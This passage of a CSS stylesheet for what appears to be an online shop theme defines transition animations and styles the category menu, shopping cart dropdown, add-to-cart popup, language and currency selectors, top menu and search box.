animation-timing-function:ease-in

}

40% {

transform:translateY(0%) rotate(20deg);

animation-timing-function:ease-out

}

60% {

transform:translateY(0%) rotate(15deg);

opacity:1

}

100% {

transform:translateY(150%) rotate(17deg);

opacity:0

}

}

@-webkit-keyframes scaleRotateOut {

100% {

opacity:0;

-webkit-transform:scale(0)

}

}

@keyframes scaleRotateOut {

100% {

opacity:0;

transform:scale(0)

}

}

@-webkit-keyframes scaleRotateIn {

0% {

opacity:0;

-webkit-transform:translateX(50%) translateY(100%) rotate(25deg)

}

100% {

visibility:visible;

opacity:1;

-webkit-transform:translateX(0%) translateY(0%) rotate(0deg)

}

}

@keyframes scaleRotateIn {

0% {

opacity:0;

transform:translateX(50%) translateY(100%) rotate(25deg)

}

100% {

visibility:visible;

opacity:1;

transform:translateX(0%) translateY(0%) rotate(0deg)

}

}

@-webkit-keyframes moveLeft {

50% {

opacity:1;

-webkit-transform:translateX(-100%) rotateY(35deg) rotateX(10deg)

}

100% {

opacity:1;

-webkit-transform:translateX(0%) rotateY(0deg) rotateX(0deg)

}

}

@keyframes moveLeft {

50% {

opacity:1;

transform:translateX(-100%) rotateY(35deg) rotateX(10deg)

}

100% {

opacity:1;

transform:translateX(0%) rotateY(0deg) rotateX(0deg)

}

}

@-webkit-keyframes popUp {

0% {

-webkit-transform:translateZ(-200px)

}

50% {

z-index:-1

}

51% {

z-index:1

}

70% {

z-index:1;

visibility:visible;

-webkit-transform:translateZ(50px);

-webkit-animation-timing-function:ease-out

}

100% {

z-index:1;

visibility:visible;

-webkit-transform:translateZ(0px)

}

}

@keyframes popUp {

0% {

transform:translateZ(-200px)

}

50% {

z-index:-1

}

51% {

z-index:1

}

70% {

z-index:1;

visibility:visible;

transform:translateZ(50px);

animation-timing-function:ease-out

}

100% {

z-index:1;

visibility:visible;

transform:translateZ(0px)

}

}

@-webkit-keyframes rotateOutLeft {

100% {

opacity:0;

-webkit-transform:rotateY(90deg)

}

}

@keyframes rotateOutLeft {

100% {

opacity:0;

transform:rotateY(90deg)

}

}

@-webkit-keyframes rotateInRight {

0% {

opacity:0;

-webkit-transform:rotateY(-90deg)

}

100% {

visibility:visible;

opacity:1;

-webkit-transform:rotateY(0deg)

}

}

@keyframes rotateInRight {

0% {

opacity:0;

transform:rotateY(-90deg)

}

100% {

visibility:visible;

opacity:1;

transform:rotateY(0deg)

}

}

@-webkit-keyframes hideLeft {

0% {

-webkit-transform:translateZ(0px)

}

40% {

-webkit-transform:translate(-40%, 0) scale(0.8) rotateY(20deg)

}

100% {

opacity:1;

-webkit-transform:translateZ(-400px)

}

}

@keyframes hideLeft {

0% {

transform:translateZ(0px)

}

40% {

transform:translate(-40%, 0) scale(0.8) rotateY(20deg)

}

100% {

transform:translateZ(-400px)

}

}

@-webkit-keyframes showRight {

0% {

-webkit-transform:translateZ(-400px)

}

40% {

z-index:-1;

-webkit-transform:translate(40%, 0) scale(0.8) rotateY(-20deg)

}

41% {

z-index:1

}

100% {

z-index:1;

visibility:visible;

-webkit-transform:translateZ(0px)

}

}

@keyframes showRight {

0% {

transform:translateZ(-400px)

}

40% {

z-index:-1;

transform:translate(40%, 0) scale(0.8) rotateY(-20deg)

}

41% {

z-index:1

}

100% {

z-index:1;

visibility:visible;

transform:translateZ(0px)

}

}

@-webkit-keyframes scaleDown {

100% {

opacity:0;

-webkit-transform:scale(0)

}

}

@keyframes scaleDown {

100% {

opacity:0;

transform:scale(0)

}

}

@-webkit-keyframes scaleIn {

0% {

opacity:0;

-webkit-transform:scale(1.2)

}

100% {

visibility:visible;

opacity:1;

-webkit-transform:scale(1)

}

}

@keyframes scaleIn {

0% {

opacity:0;

transform:scale(1.2)

}

100% {

visibility:visible;

opacity:1;

transform:scale(1)

}

}

@-webkit-keyframes flipOut {

50% {

opacity:0;

-webkit-transform:rotateY(90deg)

}

100% {

opacity:0;

-webkit-transform:rotateY(90deg)

}

}

@keyframes flipOut {

50% {

opacity:0;

transform:rotateY(90deg)

}

100% {

opacity:0;

transform:rotateY(90deg)

}

}

@-webkit-keyframes flipIn {

0% {

opacity:0;

-webkit-transform:rotateY(-90deg)

}

50% {

opacity:0;

-webkit-transform:rotateY(-90deg)

}

75% {

visibility:visible;

opacity:1;

-webkit-transform:rotateY(15deg);

-webkit-animation-timing-function:ease-in

}

100% {

visibility:visible;

opacity:1;

-webkit-transform:rotateY(0deg)

}

}

@keyframes flipIn {

0% {

opacity:0;

transform:rotateY(-90deg)

}

50% {

opacity:0;

transform:rotateY(-90deg)

}

75% {

visibility:visible;

opacity:1;

transform:rotateY(15deg);

animation-timing-function:ease-in

}

100% {

visibility:visible;

opacity:1;

transform:rotateY(0deg)

}

}

@-webkit-keyframes moveToBack {

100% {

-webkit-transform:translateX(-60%) scale(.8)

}

}

@keyframes moveToBack {

100% {

transform:translateX(-60%) scale(.8)

}

}

@-webkit-keyframes moveToBack {

100% {

-webkit-transform:translateX(-60%) scale(.8)

}

}

@-webkit-keyframes moveToFront {

0% {

-webkit-transform:translateX(100%) scale(.8)

}

100% {

visibility:visible;

opacity:1;

-webkit-transform:translateX(0%) scale(1)

}

}

@keyframes moveToFront {

0% {

transform:translateX(100%) scale(.8)

}

100% {

visibility:visible;

opacity:1;

transform:translateX(0%) scale(1)

}

}

.sp-vertical-menu {

	background:#fff;

	position:relative

}

.sp-vertical-menu .cat-title {

	display:inline-block;

	color:#fff;

	text-transform:uppercase;

	font-weight:bold;

	font-size:17px;

	margin:0;

	padding:8px 18px 8px 50px;

	width:100%;

	border-bottom:none;

	cursor:pointer;

	position:relative

}

.sp-vertical-menu .cat-title:before {

	width:41px;

	height:41px;

	content:"";

	display:inline-block;

	position:absolute;

	left:0;

	top:0;

	background:url(../images/title_vmenu.png) no-repeat;

	background-position:center center

}

.sp-vertical-menu .vf-menu {

	padding:0;

	border:solid 1px #ddd;

	border-top:none;

	transition:0.3s all ease 0s;

	width:100%;

	background:#fff;

	z-index:-1;

	opacity:0;

	top:100px;

	box-shadow:2px 2px 2px #e3e1e1

}

.sp-vertical-menu .vf-menu li {

	display:block;

	float:none;

	margin:0;

	position:relative;

	padding:0 12px

}

.sp-vertical-menu .vf-menu li a {

	font-size:13px;

	text-transform:uppercase;

	color:#444444;

	padding:0;

	line-height:42px;

	display:block

}

.sp-vertical-menu .vf-menu li ul {

	position:absolute;

	top:0;

	left:100%;

	background:#fff;

	z-index:-1;

	width:250px;

	transition:0.3s transform ease 0s;

	transform:scale(0);

	-ms-transform:scale(0);

	-webkit-transform:scale(0);

	border:solid 1px #e3e1e1;

	border-radius:0

}

.sp-vertical-menu .vf-menu li ul li a {

	font-size:13px

}

.sp-vertical-menu .vf-menu li:hover > ul {

	z-index:9999;

	transform:scale(1);

	-ms-transform:scale(1);

	-webkit-transform:scale(1)

}

.sp-vertical-menu .vf-menu li.spvm-havechild > a:after {

	content:"\f105";

	color:#c8c8c8;

	font-family:Fontawesome;

	font-size:16px;

	float:right;

	margin:0;

	transition:0.3s all ease 0s

}

.sp-vertical-menu .vf-menu li.spvm-havechild ul li a:after {

	font-size:14px;

	transition:0.3s all ease 0s

}

.sp-vertical-menu .vf-menu li.spvm-havechild ul li:hover a:after {

	font-size:16px

}

.sp-vertical-menu .vf-menu li.spvm-havechild:hover > a:after {

	font-size:18px

}

.sp-vertical-menu .vf-menu li .more-view {

	line-height:46px;

	padding-left:40px;

	font-weight:bold;

	cursor:pointer

}

.sp-vertical-menu .vf-menu li:last-child > a {

	border-bottom:none

}

.sp-vertical-menu .vf-menu li:hover {

	background:#eeeeee

}

.sp-vertical-menu:hover .vf-menu {

	top:50px;

	opacity:1;

	z-index:999

}

.index .sp-vertical-menu .vf-menu {

	top:50px;

	opacity:1;

	z-index:9;

	padding-bottom:8px

}

.sp-vertical-menu .vf-menu li ul {

	border:1px solid #ddd;

	box-shadow:2px 2px 3px rgba(0, 0, 0, 0.2);

	-webkit-box-shadow:0 0 3px rgba(0, 0, 0, 0.2)

}

.ie9 .sp-vertical-menu .vf-menu li:hover ul li ul {

	display:none

}

.ie9 .sp-vertical-menu .vf-menu li ul li:hover ul {

	display:block

}

@media all and (max-width:767px) {

.sp-vertical-menu {

min-height:0

}

.vf-menu {

position:relative

}

.sp-vertical-menu .cat-title {

cursor:pointer

}

.sp-vertical-menu .vf-menu li ul {

position:static;

left:0;

width:100%;

transform:scale(1);

z-index:99;

box-shadow:0 0 0

}

.sp-vertical-menu .vf-menu li:hover > ul {

z-index:99;

transform:scale(1)

}

.sp-vertical-menu .vf-menu li.spvm-havechild > a:after {

content:''

}

.sp-vertical-menu .vf-menu li.spvm-havechild .vf-button {

cursor:pointer;

font-family:Fontawesome;

font-size:14px;

position:absolute;

right:20px;

top:12px;

color:#999

}

.sp-vertical-menu .vf-menu li.spvm-havechild .icon-open:after {

content:"\f146";

color:#999

}

.sp-vertical-menu .vf-menu li.spvm-havechild .icon-close:after {

content:"\f0fe";

color:#999

}

}

#header_search {

	position:inherit

}

.blockcart {

	position:absolute;

	right:15px;

	bottom:-65px;

	z-index:9;

	float:right

}

.blockcart:after {

	content:"";

	height:1px;

	width:1px;

	border-style:solid;

	border-width:17px;

	position:absolute;

	top:0;

	left:-34px;

	border-bottom:20px solid transparent;

	border-top:20px solid transparent

}

#header .shopping_cart {

	float:right;

	margin:0;

	position:relative;

	overflow:visible

}

#header .shopping_cart:hover .cart_block {

	transform:scale(1);

	-webkit-transform:scale(1);

	z-index:10;

	opacity:9

}

.shopping_cart > a:first-child {

	line-height:41px;

	padding:0 10px 0 35px;

	height:41px;

	display:block;

	color:white;

	overflow:hidden;

	font-size:13px;

	font-weight:bold;

	text-transform:uppercase;

	background-image:url(../images/icon_addcart-hover.png);

	background-position:10px center;

	background-repeat:no-repeat;

	cursor:pointer;

	min-width:120px

}

.shopping_cart > a:first-child b {

	padding:0 6px

}

.shopping_cart .ajax_cart_quantity {

	font-size:14px;

	line-height:24px;

	text-align:center;

	width:26px;

	height:26px;

	border-radius:3px;

	display:inline-block !important;

	margin:8px;

	float:right

}

.shopping_cart .ajax_cart_no_product {

	padding:0

}

.shopping_cart .ajax_cart_no_product .vm {

	display:none

}

.shopping_cart .ajax_cart_total {

	display:none !important

}

.shopping_cart .block_cart_expand:after, .shopping_cart .block_cart_collapse:after {

	content:"\f0d7";

	font-family:"FontAwesome";

	display:inline-block;

	float:right;

	font-size:18px;

	color:#686666;

	padding:6px 0 0 0

}

.shopping_cart .block_cart_collapse:after {

	content:"\f0d8";

	padding:4px 0 2px 0

}

.cart_block .block_content {

	padding-bottom:0

}

.cart_block .cart_block_list .remove_link {

	position:absolute;

	right:0;

	top:10px;

	padding:0

}

.cart_block .cart_block_list .remove_link a, .cart_block .cart_block_list .ajax_cart_block_remove_link {

	display:block;

	width:100%;

	height:100%;

	padding:0 !important

}

.cart_block .cart_block_list .remove_link a:before, .cart_block .cart_block_list .ajax_cart_block_remove_link:before {

	display:inline-block;

	content:"\f057";

	font-family:"FontAwesome";

	font-size:18px;

	line-height:18px;

	color:#999

}

.cart_block .cart_block_list .products {

	overflow-y:auto;

	max-height:250px;

	margin:0;

	padding:10px 20px;

	border-bottom:solid 1px #e3e1e1

}

.cart_block .cart-images {

	float:left;

	margin-right:10px;

	border:solid 1px #e3e1e1;

	padding:1px;

	background:#fff;

	transition:0.3s all ease 0s;

	-webkit-transition:0.3s all ease 0s

}

.cart_block .cart-info {

	overflow:hidden;

	position:relative

}

.cart_block .cart-info .product-name {

	padding-bottom:3px;

	margin-top:-2px;

	padding-right:30px

}

.cart_block .cart-info .product-name a {

	font-size:14px;

	line-height:18px;

	display:block;

	color:#444

}

.cart_block .cart-info .quantity-formated {

	display:block;

	color:#444;

	font-size:14px

}

.cart_block .cart-info .price {

	font-size:14px;

	font-weight:500;

	display:block;

	color:#ee4a42

}

.cart_block dt {

	font-weight:normal;

	overflow:hidden;

	position:relative;

	padding:10px 0

}

.cart_block dd {

	position:relative

}

.cart_block dd .cart_block_customizations {

	border-top:1px dashed #333333

}

.cart_block dd .cart_block_customizations li {

	padding:10px 20px

}

.cart_block dd .cart_block_customizations li .deleteCustomizableProduct {

	position:absolute;

	right:10px

}

.cart_block .cart_block_no_products {

	margin:0;

	padding:10px 20px;

	color:#666;

	border-bottom:solid 1px #e3e1e1;

	font-size:14px

}

.cart_block .cart-prices {

	font-weight:bold;

	padding:0;

	margin:0

}

.cart_block .cart-prices .cart-prices-line {

	overflow:hidden;

	border-bottom:1px solid #ddd;

	padding:7px 20px;

	background:#fff

}

.cart_block .cart-prices .cart-prices-line span {

	color:#444;

	text-transform:uppercase;

	font-weight:bold;

	font-size:16px

}

.cart_block .cart-prices .cart-prices-line .pr {

	float:left;

	margin-top:4px

}

.cart_block .cart-buttons {

	overflow:hidden;

	padding:10px 20px;

	margin:0

}

.cart_block .cart-buttons .buttons {

	text-align:right

}

.cart_block .cart-buttons .buttons a {

	display:inline-block;

	padding:0;

	width:45px;

	height:40px;

	border-radius:3px;

	background-color:#cbcbcb;

	background-repeat:no-repeat;

	background-position:center center

}

.cart_block .cart-buttons .buttons a#button_goto_cart {

	background-image:url(../images/icon_gotocart.png);

	margin-left:7px

}

.cart_block .cart-buttons .buttons a#button_order_cart {

	background-image:url(../images/icon_checkout.png)

}

.cart_block .cart-buttons .price-total {

	padding:5px 0

}

.cart_block .cart-buttons .price-total span {

	color:#444;

	text-transform:uppercase;

	font-weight:bold;

	font-size:16px;

	float:left

}

.cart_block .cart-buttons .price-total span.price {

	margin:0 5px

}

#header .cart_block {

	position:absolute;

	top:51px;

	border-radius:2px;

	right:0;

	z-index:100;

	display:none;

	height:auto;

	background:#fff;

	color:white;

	width:320px;

	padding:0;

	border:solid 1px #e3e1e1;

	box-shadow:0 1px 1px #e3e1e1;

	transition:0.3s all ease 0s;

	transform:scale(0);

	-webkit-transform:scale(0);

	-webkit-transition:0.3s all ease 0s;

	z-index:-1;

	opacity:0;

	display:block !important

}

#header .cart_block:before {

	height:25px;

	position:absolute;

	left:0;

	top:-25px;

	background:transparent;

	width:100%;

	display:block;

	content:""

}

#header .cart_block:after {

	content:"";

	height:1px;

	width:1px;

	border-style:solid;

	border-width:7px;

	position:absolute;

	top:-17px;

	right:33px

}

#header .cart_block .block_content {

	padding:0

}

#header .cart_block .block_content .counts {

	height:38px;

	border-bottom:solid 1px #ddd;

	text-align:center;

	padding-top:10px;

	color:#666

}

#header .cart_block .block_content .counts p {

	color:#aaa;

	margin:0

}

#header .cart_block .cart_block_list .remove_link a, #header .cart_block .cart_block_list .ajax_cart_block_remove_link {

	color:white;

	outline:none;

	text-decoration:none

}

#header .cart_block .cart_block_list .remove_link a:hover, #header .cart_block .cart_block_list .ajax_cart_block_remove_link:hover {

	color:#9c9b9b

}

#header .cart_block .product-atributes {

	padding:0;

	font-size:13px

}

#header .cart_block .product-atributes a {

	color:#666

}

#header .cart_block .cart-prices {

	border:none;

	background:#F1F1F1

}

#header .block_content {

	margin-bottom:0

}

.cart_block #cart_block_summary, .cart_block .title_block span, #header .cart_block h4, #header .cart_block .title_block, #header .cart_block h4 {

	display:none

}

.cart_block .cart_block_shipping_cost, .cart_block .cart_block_tax_cost, .cart_block .cart_block_total, .cart_block .cart_block_wrapping_cost {

	float:right

}

.cart_block table.vouchers {

	clear:both;

	width:80%;

	margin:0 auto;

	margin-bottom:10px

}

.cart_block table.vouchers tr td {

	padding:2px

}

.cart_block table.vouchers tr td.quantity {

	margin-right:5px;

	min-width:18px

}

.cart_block table.vouchers tr td.delete {

	padding-left:0;

	padding-right:0;

	text-align:right;

	width:15px

}

.layer_cart_overlay {

	background-color:#000;

	display:none;

	height:100%;

	left:0;

	position:fixed;

	top:0;

	width:100%;

	z-index:98;

	opacity:0.2;

	filter:alpha(opacity=20)

}

* html .layer_cart_overlay {

	position:absolute;

	left:0;

	margin-left:-160px;

	opacity:0.2;

	filter:alpha(opacity=20)

}

#layer_cart {

	background-color:white;

	position:absolute;

	display:none;

	z-index:9999;

	width:70%;

	left:15%

}

#layer_cart .layer_cart_product {

	padding:10px 30px 30px 30px;

	overflow:hidden;

	position:static

}

#layer_cart .layer_cart_product h2 {

	font:400 22px/29px "Arial", Helvetica, sans-serif;

	color:#46a74e;

	margin-bottom:22px

}

#layer_cart .layer_cart_product h2 i {

	font-size:30px;

	line-height:30px;

	float:left;

	padding-right:8px

}

#layer_cart .layer_cart_product .product-image-container {

	max-width:178px;

	border:1px solid #e6e6e6;

	padding:5px;

	float:left;

	margin-right:30px

}

#layer_cart .layer_cart_product .layer_cart_product_info {

	padding:0

}

#layer_cart .layer_cart_product .layer_cart_product_info #layer_cart_product_title {

	display:block;

	padding-bottom:8px;

	font-size:16px

}

#layer_cart .layer_cart_product .layer_cart_product_info > div {

	padding-bottom:7px

}

#layer_cart .layer_cart_product .layer_cart_product_info > div strong {

	padding-right:3px

}

#layer_cart .layer_cart_cart {

	background:#fafafa;

	border-left:1px solid #e6e6e6;

	padding:10px 30px 170px 30px;

	border-radius:0 4px 4px 0;

	position:relative

}

#layer_cart .layer_cart_cart h2 {

	font:400 22px/29px "Arial", Helvetica, sans-serif;

	color:#333333;

	margin-bottom:50px

}

#layer_cart .layer_cart_cart .layer_cart_row {

	padding:0 0 7px 0

}

#layer_cart .layer_cart_cart .button-container {

	position:absolute;

	bottom:0;

	left:0;

	width:100%;

	padding:0 30px 20px 30px

}

#layer_cart .layer_cart_cart .button-container .btn {

	margin-bottom:10px

}

#layer_cart .layer_cart_cart .button-container span.exclusive-medium {

	margin-right:5px

}

#layer_cart .layer_cart_cart .button-container span.exclusive-medium .fa {

	margin:0 5px

}

#layer_cart .cross {

	position:absolute;

	right:7px;

	top:8px;

	width:25px;

	height:25px;

	cursor:pointer;

	color:#333333;

	z-index:2

}

#layer_cart .cross:before {

	content:"\f057";

	display:block;

	font-family:"FontAwesome";

	font-size:25px;

	line-height:25px

}

#layer_cart .cross:hover {

	color:#f3734f

}

#layer_cart .continue {

	cursor:pointer

}

#layer_cart p {

	padding:0

}

#layer_cart .crossseling .crossseling-content {

	border-top:1px solid #e6e6e6;

	padding:26px 30px 40px 30px;

	position:relative

}

#layer_cart .crossseling h2 {

	font:400 23px/26px "Arial", Helvetica, sans-serif;

	color:#333333;

	margin-bottom:25px

}

#layer_cart .crossseling #blockcart_list {

	max-width:773px;

	width:84%;

	margin:0 auto;

	overflow:hidden

}

#layer_cart .crossseling #blockcart_list ul {

	display:block

}

#layer_cart .crossseling #blockcart_list ul li {

	float:left;

	width:178px;

	margin:0 0 0 0

}

#layer_cart .crossseling #blockcart_list ul li .product-image-container {

	border:1px solid #e6e6e6;

	text-align:center;

	padding:5px;

	margin-bottom:15px

}

#layer_cart .crossseling #blockcart_list ul li .product-image-container img {

	width:100%

}

#layer_cart .crossseling #blockcart_list ul li .product-name {

	padding-bottom:5px

}

#layer_cart .crossseling #blockcart_list ul li .product-name a {

	font-size:15px;

	line-height:20px

}

#layer_cart .crossseling #blockcart_list a.bx-prev, #layer_cart .crossseling #blockcart_list a.bx-next {

	display:block;

	font-family:"FontAwesome";

	font-size:20px;

	line-height:20px;

	width:20px;

	height:20px;

	color:#333333;

	text-indent:-5000px;

	position:absolute;

	top:45%;

	margin-top:-20px

}

#layer_cart .crossseling #blockcart_list a.bx-prev:after, #layer_cart .crossseling #blockcart_list a.bx-next:after {

	display:block;

	text-indent:0

}

#layer_cart .crossseling #blockcart_list a.bx-prev:hover, #layer_cart .crossseling #blockcart_list a.bx-next:hover {

	color:#c0c0c0

}

#layer_cart .crossseling #blockcart_list a.bx-prev.disabled, #layer_cart .crossseling #blockcart_list a.bx-next.disabled {

	display:none

}

#layer_cart .crossseling #blockcart_list a.bx-prev {

	left:5%

}

#layer_cart .crossseling #blockcart_list a.bx-prev:after {

	content:"\f137"

}

#layer_cart .crossseling #blockcart_list a.bx-next {

	right:5%

}

#layer_cart .crossseling #blockcart_list a.bx-next:after {

	content:"\f138"

}

#layer_cart .crossseling #blockcart_list .bx-controls {

	overflow:hidden

}

#languages-block-top {

	display:inline-block;

	position:relative;

	margin:0;

	border-right:1px solid #ddd;

	padding:0 10px

}

#languages-block-top span.firstWord {

	display:none

}

#languages-block-top div.current {

	border-radius:1px;

	line-height:36px;

	padding:0;

	cursor:pointer

}

#languages-block-top div.current span {

	line-height:20px

}

#languages-block-top div.current img {

	margin:-2px 2px 0 0

}

#languages-block-top div.current:after {

	content:"\f107";

	font-family:"FontAwesome";

	font-size:12px

}

#languages-block-top ul {

	display:none;

	position:absolute;

	top:35px;

	right:0;

	width:96px;

	border-style:solid;

	border-width:1px;

	border-color:#e3e1e1;

	z-index:2;

	background:#fff

}

#languages-block-top ul li {

	margin-bottom:1px;

	line-height:27px;

	background:#fff

}

#languages-block-top ul li a, #languages-block-top ul li > span {

	padding:0 7px;

	display:block

}

#languages-block-top ul li a img, #languages-block-top ul li > span img {

	margin:-2px 2px 0 0

}

#languages-block-top ul li.selected, #languages-block-top ul li:hover a {

	background:#F1F1F1

}

#currencies-block-top {

	position:relative;

	display:inline-block;

	vertical-align:top

}

#currencies-block-top form {

	margin:0

}

#currencies-block-top span.firstWord {

	display:none

}

#currencies-block-top div.current {

	border-radius:1px;

	padding:0;

	cursor:pointer

}

#currencies-block-top div.current:after {

	content:"\f107";

	font-family:"FontAwesome";

	font-size:12px;

	line-height:18px;

	vertical-align:middle

}

#currencies-block-top div.current span {

	vertical-align:top

}

#currencies-block-top ul {

	display:none;

	position:absolute;

	top:35px;

	left:0;

	width:96px;

	background:white;

	border-style:solid;

	border-width:1px;

	border-color:#e3e1e1;

	z-index:2;

	background:#fff

}

#currencies-block-top ul li {

	margin-bottom:1px;

	line-height:27px

}

#currencies-block-top ul li a, #currencies-block-top ul li > span {

	padding:0 7px;

	display:block

}

#currencies-block-top ul li.selected, #currencies-block-top ul li:hover a {

	background:#F1F1F1

}

.header_user_info {

	display:inline-block

}

.header_user_info ul.links {

	list-style:none;

	margin:0

}

.header_user_info ul.links li {

	display:inline-block;

	padding:0;

	position:relative;

	border-left:1px solid #ddd

}

.header_user_info ul.links li a {

	line-height:36px;

	padding:0 13px;

	display:block;

	cursor:pointer;

	font-size:12px

}

.header_user_info ul.links li.account span.log {

	display:inline-block;

	height:0;

	width:0;

	overflow:hidden

}

.header_user_info ul.links li.account > a:before {

	content:"\f007";

	font-family:'FontAwesome';

	font-size:13px;

	margin-right:7px

}

.header_user_info ul.links li.account > a:after {

	content:"\f107";

	font-family:'FontAwesome';

	font-size:12px;

	margin-left:5px

}

.header_user_info ul.links li.checkout a:before {

	content:"\f045";

	font-family:'FontAwesome';

	font-size:13px;

	margin-right:7px

}

.header_user_info ul.links li ul.dropdown-link {

	position:absolute;

	background:#fff;

	box-shadow:0 3px 3px rgba(0, 0, 0, 0.3);

	left:0;

	opacity:0;

	padding:0 10px;

	top:33px;

	transition:top 0.3s ease 0s, opacity 0.3s ease 0s;

	width:200px;

	z-index:-1;

	text-align:left

}

.header_user_info ul.links li ul.dropdown-link li {

	display:block;

	border-left:0

}

.header_user_info ul.links li ul.dropdown-link li a {

	border-right:0;

	display:block;

	padding:5px 0 4px;

	border-bottom:solid 1px #efefef;

	font-size:12px;

	line-height:18px

}

.header_user_info ul.links li ul.dropdown-link li a:after {

	display:none

}

.header_user_info ul.links li ul.dropdown-link li:last-child a {

	border-bottom:0

}

.header_user_info ul.links li.account:hover ul.dropdown-link {

	top:34px;

	z-index:99;

	opacity:1;

	border-top:1px solid rgba(200, 199, 199, 0.3)

}

#block_top_menu > ul.sf-menu {

	position:relative

}

.sf-menu, .sf-menu * {

	margin:0;

	padding:0;

	list-style:none

}

.sf-menu {

	padding:0

}

.sf-menu ul {

	position:absolute;

	top:-999em;

	background:white

}

.sf-menu ul li {

	width:100%

}

#index .sf-menu > li:first-child > a {

	/*background:#666*/

}

.sf-menu li:hover {

	visibility:inherit

}

.sf-menu > li {

	float:left;

	margin-right:1px;

	border-right:solid 1px #555

}

.sf-menu > li > a {

	font-size:12px;

	text-transform:none;

	color:#fff;

	display:block;

	padding:12px 32px 11px;

	font-weight:bold;

	position:relative;

	z-index:1;

	text-transform:uppercase

}

.sf-menu > li > a:before {

	position:absolute;

	top:0;

	left:0;

	z-index:-1;

	content:"";

	width:0;

	height:100%;

	display:block;

	background:#666;

	width:100%;

	opacity:0;

	filter:alpha(opacity=0);

	-webkit-transition:all 0.3s ease 0s;

	transition:all 0.3s ease 0s

}

.sf-menu > li > a .fa {

	display:inline-block;

	margin:0 0 0 10px;

	font-size:14px

}

.sf-menu > li.sfHover > a:before, .sf-menu > li > a:hover:before, .sf-menu > li.sfHoverForce > a:before {

	opacity:1;

	filter:alpha(opacity=100)

}

.sf-menu li li li a {

	display:block;

	color:#666;

	padding:0 0;

	transition:0.3s all ease 0s;

	-webkit-transition:0.3s all ease 0s;

	position:relative;

	margin-bottom:2px

}

.sf-menu li li li a:before {

	content:"";

	height:100%;

	width:3px;

	position:absolute;

	left:10px;

	top:0;

	opacity:0;

	-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=00)";

	transition:0.3s all ease 0s;

	-webkit-transition:0.3s all ease 0s

}

.sf-menu li li li a:hover {

	padding-left:12px

}

.sf-menu li li li a:hover:before {

	left:0;

	opacity:1;

	-ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=100)"

}

.sf-menu li ul {

	left:0;

	top:100%;

	z-index:-1;

	padding:0 0 18px 0

}

.sf-menu li > ul > li > ul {

	position:static;

	display:block !important;

	opacity:1 !important;

	background:none

}

.sf-menu li > ul > li > ul .fa {

	float:right;

	display:block;

	font-size:16px;

	margin-right:5px;

	font-size:12px;

	color:#999

}

.sf-menu li > ul > li > ul .fa:before {

	content:"\f105";

	font-size:14px

}

.sf-menu li li ul li {

	position:relative;

	padding:5px 0

}

.sf-menu li li li ul {

	padding:10px 20px;

	position:absolute;

	display:none !important;

	border-style:solid;

	background:white;

	border-width:1px 1px 5px 1px

}

.sf-menu li li li ul {

	width:250px

}

ul.sf-menu li:hover li ul, ul.sf-menu li.sfHover li ul {

	top:-999em

}

ul.sf-menu li li:hover ul, ul.sf-menu li li.sfHover ul {

	left:95%;

	top:0

}

ul.sf-menu li li:hover li ul, ul.sf-menu li li.sfHover li ul {

	top:-999em

}

ul.sf-menu li li li:hover ul, ul.sf-menu li li li.sfHover ul {

	left:95%;

	top:0

}

.sf-menu > li > ul {

	padding:20px 10px;

	width:100%

}

.sf-menu > li > ul > li > a {

	text-transform:uppercase;

	font-weight:bold;

	margin-bottom:12px;

	display:block;

	color:#333333

}

.sf-menu > li > ul > li {

	float:left;

	width:25%;

	padding:0 10px

}

.sf-menu > li > ul > li .fa {

	display:none

}

.sf-menu > li > ul > li#category-thumbnail {

	width:100% !important;

	float:none;

	clear:both;

	overflow:hidden

}

.sf-menu > li > ul > li#category-thumbnail > div {

	float:left;

	padding-left:10px;

	width:33.333%

}

.sf-menu > li > ul > li#category-thumbnail > div:first-child {

	padding-left:0

}

.sf-menu > li > ul > li#category-thumbnail > div img {

	max-width:100%;

	display:block

}

.cat-title {

	display:none

}

#block_top_menu .category-thumbnail {

	clear:both;

	width:100%

}

#block_top_menu .category-thumbnail img {

	max-width:100%

}

#block_top_menu li.category-thumbnail {

	padding:4px

}

#block_top_menu li.category-thumbnail img {

	width:100%

}

ul.sf-menu li li li:hover ul, ul.sf-menu li li li.sfHover ul {

	left:90%;

	right:auto

}

.sf-menu li.sf-haveshild > a:after {

	display:inline-block;

	content:"\f107";

	font-family:fontawesome;

	margin:0 5px;

	font-size:14px;

	line-height:17px

}

.sf-menu li li.sf-haveshild > a:after {

	display:none

}

.sf-menu li li li.sf-haveshild > a:after {

	content:"\f105";

	display:inline-block;

	position:absolute;

	right:0;

	line-height:inherit

}

#block_top_menu {

	background:#444

}

@media (min-width:980px) {

.sf-menu li ul {

display:block !important

}

.sf-menu > li > ul {

box-shadow:0 2px 4px #999;

transition:all 0.3s ease 0s;

-webkit-transition:all 0.3s ease 0s;

-webkit-transform:scale(0);

-ms-transform:scale(0);

transform:scale(0);

opacity:0

}

.sf-menu > li:hover ul {

transform:scale(1);

-webkit-transform:scale(1);

-ms-transform:scale(1);

opacity:1;

-webkit-opacity:1;

z-index:999

}

}

#search_block_top {

	margin:5px 0 0 0;

	display:inline-block;

	width:100%

}

#search_block_top #searchbox {

	padding:0;

	margin:0

}

#search_block_top #searchbox #search_query_top {

	padding:4px 12px;

	height:40px;

	width:100%;

	color:#999999;

	box-shadow:none;

	float:left;

	font-size:12px;

	transition:0.3s all ease 0s;

	border:solid 1px #e3e1e1

}

#search_block_top #searchbox #search_query_top:focus {

	box-shadow:none

}

#search_block_top #searchbox .button-search {

	height:40px;

	width:46px;

	background:transparent;

	padding:0;

	border:none;

	margin-left:-1px;

	float:left;

	position:absolute;

	right:1px;

	font-size:16px

}

#search_block_top #searchbox .button-search:before {

	content:"\f002";

	font-family:FontAwesome;

	display:inline-block

}

.ac_results {

	background:white;

	border:1px solid #e6e6e6;

	width:271px;

	margin-top:-1px

}

.ac_results li {

	padding:0 10px;

	font-weight:normal;

	color:#686666;

	font-size:13px;

	line-height:22px

}

.ac_results li.ac_odd {

	background:white

}

.ac_results li:hover, .ac_results li.ac_over {

	background:#e6e6e6

}

form#searchbox {

	position:relative

}

form#searchbox label {

	color:#333333

}

form#searchbox input#search_query_block {

	margin-right:10px;

	max-width:222px;

	margin-bottom:10px;

	display:inline-block;

	float:left

}

form#searchbox .button.button-small {

	float:left

}

form#searchbox .button.button-small i {

	margin-right:0

}

.ac_results {

	text-align:left;

	padding:0;

	border:1px solid black;

	background-color:white;

	overflow:hidden;

	z-index:99999

}

.ac_results ul {

	width:100%;

	list-style-position:outside;

